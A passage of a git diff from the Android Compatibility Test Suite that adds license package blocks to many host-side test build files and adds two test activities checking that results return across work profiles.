--- a/hostsidetests/classloaders/useslibrary/Android.bp
+++ b/hostsidetests/classloaders/useslibrary/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsUsesLibraryHostTestCases",
     defaults: [ "cts_defaults" ],
diff --git a/hostsidetests/classloaders/useslibrary/app/Android.bp b/hostsidetests/classloaders/useslibrary/app/Android.bp
index eedde6f..9c9af63 100644
--- a/hostsidetests/classloaders/useslibrary/app/Android.bp
+++ b/hostsidetests/classloaders/useslibrary/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsUsesLibraryApp",
     defaults: [ "cts_support_defaults" ],
diff --git a/hostsidetests/compilation/Android.bp b/hostsidetests/compilation/Android.bp
index 636dfc8..6f4441f 100644
--- a/hostsidetests/compilation/Android.bp
+++ b/hostsidetests/compilation/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsCompilationTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/compilation/app/Android.bp b/hostsidetests/compilation/app/Android.bp
index d41b5bc..debca31 100644
--- a/hostsidetests/compilation/app/Android.bp
+++ b/hostsidetests/compilation/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCompilationApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/content/Android.bp b/hostsidetests/content/Android.bp
index 3cd3688..f6adc2e 100644
--- a/hostsidetests/content/Android.bp
+++ b/hostsidetests/content/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsSyncContentHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
index dac2663..241c47d 100644
--- a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
+++ b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsContextCrossProfileApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
index d63f6cd..d9ed213 100644
--- a/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
+++ b/hostsidetests/content/test-apps/ContextCrossProfileApps/ContextCrossProfileTestServiceApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsContextCrossProfileTestServiceApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
index 82c3696..43a2758 100644
--- a/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
+++ b/hostsidetests/content/test-apps/CtsSyncInvalidAccountAuthorityTestCases/Android.bp
@@ -14,6 +14,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSyncInvalidAccountAuthorityTestCases",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/cpptools/Android.bp b/hostsidetests/cpptools/Android.bp
index 23887e2..90bf3a7 100644
--- a/hostsidetests/cpptools/Android.bp
+++ b/hostsidetests/cpptools/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsCppToolsTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
index 8562d3a..87507f4 100644
--- a/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
+++ b/hostsidetests/cpptools/test-apps/BasicApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCppToolsApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
index 8938068..94ef244 100644
--- a/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
+++ b/hostsidetests/cpptools/test-apps/ConnectorNativeProgram/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "connector",
     srcs: ["connector.cpp"],
diff --git a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
index d4399f9..b84ccfe 100644
--- a/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
+++ b/hostsidetests/cpptools/test-apps/DomainSocketApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDomainSocket",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/deviceidle/Android.bp b/hostsidetests/deviceidle/Android.bp
index d22db35..64713d1 100644
--- a/hostsidetests/deviceidle/Android.bp
+++ b/hostsidetests/deviceidle/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsDeviceIdleHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/Android.bp b/hostsidetests/devicepolicy/Android.bp
index 537151f..447b447 100644
--- a/hostsidetests/devicepolicy/Android.bp
+++ b/hostsidetests/devicepolicy/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsDevicePolicyManagerTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
index ef03e37..3970cfe 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccountCheckTestOnlyOwnerApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
index e499709..98bf41f 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Auth/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccountCheckAuthApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
index 2e8697d..fb5a3b8 100644
--- a/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountCheck/Tester/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccountCheckAuthAppTester",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
index 25fb39c..02017f6 100644
--- a/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
+++ b/hostsidetests/devicepolicy/app/AccountManagement/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAccountManagementDevicePolicyApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
index 98146ff..a98f261 100644
--- a/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AppRestrictionsTargetApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsAppRestrictionsTargetApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/Assistant/Android.bp b/hostsidetests/devicepolicy/app/Assistant/Android.bp
index 0de1b25..c6b32aa 100644
--- a/hostsidetests/devicepolicy/app/Assistant/Android.bp
+++ b/hostsidetests/devicepolicy/app/Assistant/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePolicyAssistApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
index 27b4bb2..9dd7e2f 100644
--- a/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/AutofillApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePolicyAutofillApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
index c124684..cab9ca4 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCertInstallerApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
index dc652cb..9bd0c7c 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsContactDirectoryProvider",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
index e347131..e9b08d8 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePolicyContentCaptureApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
index 9636e4b..b21e99a 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePolicyContentCaptureService",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
index ebdf983..5a3275c 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePolicyContentSuggestionsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
index 6e8803d..c141c8e 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
@@ -18,6 +18,10 @@
 
 // === App 1 ===
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCorpOwnedManagedProfile",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
index c3d1d5d..d2a0194 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCrossProfileAppsTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
index ae3ff05..474df01 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
@@ -53,7 +53,14 @@
             </intent-filter>
         </activity>
 
-        <activity android:name=".CrossProfileSameTaskLauncherActivity" android:exported="true"/>
+        <activity android:name=".CrossProfileSameTaskLauncherActivity"
+             android:exported="true"/>
+
+        <activity android:name=".CrossProfileResultCheckerActivity"
+             android:exported="true"/>
+
+        <activity android:name=".CrossProfileResultReturnerActivity"
+             android:exported="true"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
new file mode 100644
index 0000000..5689f32
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/res/layout/cross_profile_result_checker.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2020 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:orientation="vertical"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent">
+
+    <TextView
+        android:id="@+id/cross_profile_result_checker_result"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+    />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
index 8a4f45c..7332521 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileAppsStartActivityTest.java
@@ -19,6 +19,8 @@
 import static android.Manifest.permission.INTERACT_ACROSS_USERS;
 import static android.Manifest.permission.INTERACT_ACROSS_USERS_FULL;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static junit.framework.Assert.assertNotNull;
 
 import static org.junit.Assert.assertEquals;
@@ -62,7 +64,7 @@
             "com.android.cts.crossprofileappstest:id/user_textview";
     private static final String ID_USER_TEXTVIEW_NONMAIN =
             "com.android.cts.crossprofileappstest:id/user_textview_nonmain";
-    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(10);
+    private static final long TIMEOUT_WAIT_UI = TimeUnit.SECONDS.toMillis(15);
 
     private CrossProfileApps mCrossProfileApps;
     private UserHandle mTargetUser;
@@ -276,6 +278,23 @@
         }
     }
 
+    @Test
+    public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+        try {
+            mContext.startActivity(new Intent()
+                    .setComponent(CrossProfileResultCheckerActivity.buildComponentName(mContext))
+                    .putExtra(CrossProfileResultCheckerActivity.TARGET_USER_EXTRA, mTargetUser));
+
+            final UiObject2 textView = mDevice.wait(
+                    Until.findObject(
+                            By.text(CrossProfileResultCheckerActivity.SUCCESS_MESSAGE)),
+                    TIMEOUT_WAIT_UI);
+            assertThat(textView).isNotNull();
+        } catch (Exception e) {
+            fail("unable to start cross-profile activity to obtain a returned result: " + e);
+        }
+    }
+
     /**
      * Calls {@link CrossProfileApps#startActivity(Intent, UserHandle, Activity)}. This can then be
      * used by host-side tests.
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
new file mode 100644
index 0000000..49f2d9b
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultCheckerActivity.java
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.CrossProfileApps;
+import android.os.Bundle;
+import android.os.UserHandle;
+import android.widget.TextView;
+
+import androidx.annotation.Nullable;
+
+import com.android.compatibility.common.util.ShellIdentityUtils;
+
+/**
+ * An activity that launches {@link CrossProfileResultReturnerActivity} for result, then displays
+ * the string {@link #SUCCESS_MESSAGE} if successful.
+ *
+ * <p>Must be launched with intent extra {@link #TARGET_USER_EXTRA} with the numeric target user ID.
+ */
+public class CrossProfileResultCheckerActivity extends Activity {
+    static final String SUCCESS_MESSAGE = "Successfully received cross-profile result.";
+    static final String TARGET_USER_EXTRA = "TARGET_USER";
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        final Intent intent = getIntent();
+        if (!intent.hasExtra(TARGET_USER_EXTRA)) {
+            throw new IllegalStateException(
+                    "CrossProfileResultCheckerActivity started without " + TARGET_USER_EXTRA);
+        }
+        setContentView(R.layout.cross_profile_result_checker);
+        final Intent resultReturnerIntent =
+                new Intent().setComponent(
+                        CrossProfileResultReturnerActivity.buildComponentName(this));
+        final UserHandle targetUser = intent.getParcelableExtra(TARGET_USER_EXTRA);
+        ShellIdentityUtils.invokeMethodWithShellPermissionsNoReturn(
+                getSystemService(CrossProfileApps.class),
+                crossProfileApps -> crossProfileApps.startActivity(
+                        resultReturnerIntent, targetUser, this));
+    }
+
+    @Override
+    protected void onActivityResult(int requestCode, int resultCode, Intent data) {
+        super.onActivityResult(requestCode, resultCode, data);
+        if (resultCode != CrossProfileResultReturnerActivity.RESULT_CODE) {
+            throw new IllegalStateException("Unknown result code: " + resultCode);
+        }
+        final TextView textView = findViewById(R.id.cross_profile_result_checker_result);
+        textView.setText(SUCCESS_MESSAGE);
+    }
+
+    static ComponentName buildComponentName(Context context) {
+        return new ComponentName(context, CrossProfileResultCheckerActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
new file mode 100644
index 0000000..8898e91
--- /dev/null
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/src/com/android/cts/crossprofileappstest/CrossProfileResultReturnerActivity.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.crossprofileappstest;
+
+import android.app.Activity;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+
+import androidx.annotation.Nullable;
+
+/** An activity that sets the result as {@link #RESULT_CODE} then finishes. */
+public class CrossProfileResultReturnerActivity extends Activity {
+    static final int RESULT_CODE = 998;
+
+    @Override
+    protected void onCreate(@Nullable Bundle savedInstanceState) {
+        setResult(RESULT_CODE);
+        finish();
+    }
+
+    static ComponentName buildComponentName(Context context) {
+        return new ComponentName(context, CrossProfileResultReturnerActivity.class);
+    }
+}
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
index 6f2d457..dfa5a8a 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCrossProfileAppsWithNoPermissionTests",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
index 4d56254..ab0e16a 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCrossProfileEnabledApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
index 8510ab8..a3189b4 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCrossProfileEnabledNoPermsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
index 380ddc1..d7de8c6c 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileNotEnabledApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCrossProfileNotEnabledApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
index 2a11871..af28434 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileUserEnabledApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCrossProfileUserEnabledApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
index 7a3fb81..277baed 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/ModifyQuietModeEnabledApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsModifyQuietModeEnabledApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
index 96e959c..c324641 100644
--- a/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CustomizationApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsCustomizationApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
index b10477e..d6b271d 100644
--- a/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/DelegateApp/Android.bp
